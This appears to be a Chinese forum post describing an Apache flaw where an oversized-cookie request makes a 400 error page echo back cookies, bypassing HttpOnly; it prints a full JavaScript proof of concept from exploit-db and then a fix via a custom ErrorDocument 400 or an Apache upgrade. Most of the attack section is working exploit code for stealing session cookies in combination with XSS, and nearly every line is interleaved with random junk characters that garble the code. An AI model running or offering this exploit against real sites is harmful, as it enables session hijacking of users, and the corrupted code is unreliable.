很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
3 W3 Q! N x2 a4 G$ D
1 `' n# s }1 [/ \8 J用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
- _7 N2 |' y1 @
' h" m! d8 \1 d: C5 _" \+ n8 M1 x) i) i( J7 R! U7 E, m
// http://www.exploit-db.com/exploits/18442/% I! z5 g% K7 d0 s* }: ^
function setCookies (good) {
/ R9 V+ R) |, W" r// Construct string for cookie value3 l* U: F+ X9 f! R+ w$ ~
var str = "";5 z4 _" V$ @$ U+ _9 _' B7 Z+ n
for (var i=0; i< 819; i++) {2 M/ a& C& p# |$ _$ D* K, v, S
str += "x";
6 I- U6 R. b; r/ w' Z}* B; p% f+ I3 {4 ^7 N7 e- W
// Set cookies% Y7 A, l9 P4 S- b* ^
for (i = 0; i < 10; i++) {
9 U7 S R j: `9 x& R) X2 ^/ f// Expire evil cookie
! l3 t# c9 [! l, _if (good) {- v, g9 n6 y, p2 c1 X, F/ _
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
6 |+ N2 z* I/ ~* y3 Y! q+ I}
; {; {$ e- F( C4 l& A# }5 @// Set evil cookie4 k1 A% K/ Z; o
else {
4 \2 i6 `# B2 V: j& Hvar cookie = "xss"+i+"="+str+";path=/";$ _+ A. M/ x8 R. q# M) _1 A) j. `
}4 y$ o4 U" O; j, k
document.cookie = cookie;
5 `1 s/ T8 I7 d* K" f8 |}1 K9 I4 M# a/ I* J4 ]1 S) b
}
2 H+ r- }0 l" jfunction makeRequest() {- a1 ]. S: h, _2 }# ]& ?
setCookies();2 ], N, z% e' v- F5 o1 H
function parseCookies () {# O# l- V# z7 I
var cookie_dict = {};5 \8 a8 T+ [* I) |/ G
// Only react on 400 status o2 c2 z- T: T4 {" k' H5 ?
if (xhr.readyState === 4 && xhr.status === 400) {
0 d5 s2 k) [7 m" U7 l' z B2 P( j// Replace newlines and match <pre> content. w% o, A( y8 t. _; y
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);. F) p. w. j2 O
if (content.length) {
( c5 z0 u1 z* f// Remove Cookie: prefix7 O' v8 D8 T, K! S: J
content = content[1].replace("Cookie: ", "");# }8 C0 `6 o, S5 ]3 ~! T
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);* x: Z: a+ }9 Z! t3 Y
// Add cookies to object# V& H% v# N) @
for (var i=0; i<cookies.length; i++) {
. W* D8 v- w8 b. ]" |* ]8 E* Evar s_c = cookies.split('=',2);
' f8 L2 N9 a) D7 Ecookie_dict[s_c[0]] = s_c[1];1 t6 \8 M4 L- }3 `! Q1 l1 k
}
' m- V" p( f1 a) h9 t, ?9 @}
8 y, B8 W+ L+ ]6 V// Unset malicious cookies1 L) Z# W" O: [2 o9 G
setCookies(true);2 \' h1 l9 S( |% M" r
alert(JSON.stringify(cookie_dict));
! u9 g4 t3 g9 G. o}5 e, S5 u$ t- k9 }/ \% L
}
6 t% r5 n3 S& e1 I9 i// Make XHR request- i, m- m. x/ G4 v, l
var xhr = new XMLHttpRequest();
; N4 n( R5 l: G& s9 B! ^ bxhr.onreadystatechange = parseCookies;2 l b+ ^% d. s5 ~ U7 e% O
xhr.open("GET", "/", true);
& d7 X. {* k) R4 ^9 _" ~' ixhr.send(null);! c3 n6 ~6 F, W6 I( ~
}
& b9 a; {$ \1 _( ]) T+ N) KmakeRequest();% C ^ i% U, U4 C R4 M7 Q
2 i0 |) \5 W6 M
你就能看见华丽丽的400错误包含着cookie信息。4 P O4 S) O" z& }9 ?9 d
; D. v# U& Y: ~+ @" a. v+ q
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
2 U0 b# d& a6 I2 o( x. n* L! w
# L; h8 @2 G- x# y* s- F0 c修复方案:
4 b! ^2 B4 ~) }) h
8 T: `) s- I" J1 f% D% R9 t$ ^Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下+ G2 J+ \% ?5 X
# k8 O+ u4 G+ M9 B6 Q: l% h9 \In the event of a problem or error, Apachecan be configured to do one of four things,6 y! S3 ^, K7 \- E! c
' `7 t7 V% b. d+ `; k0 f8 h
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息 Z+ e l4 Y4 F4 _
2. output acustomized message输出一段信息
; T6 R; h0 C9 S- n4 v3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4 O9 u/ K2 u8 X5 }4. redirect to an external URL to handle theproblem/error转向一个外部URL
7 u, g" Y. d8 _2 }/ l/ {# O; m0 R' |3 O, J+ b
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
7 \, @: V' W7 T1 R; `! K/ u, g1 f
8 x2 P: A/ }" ]: E! f# P# o& |Apache配置:2 H2 Z5 e- q' T
, L6 F2 _& @# MErrorDocument400 " security test") F" z; p7 v2 `3 `, s- k4 k& `$ a
( L( s" g7 `: q3 w7 t
当然,升级apache到最新也可:)。6 S5 f) I+ I$ j( |
& _) Y5 E& {; O" ]& R2 n
参考:http://httpd.apache.org/security/vulnerabilities_22.html
7 d/ a, S. b1 W" b! N
? r& I B+ [1 ^+ ` b |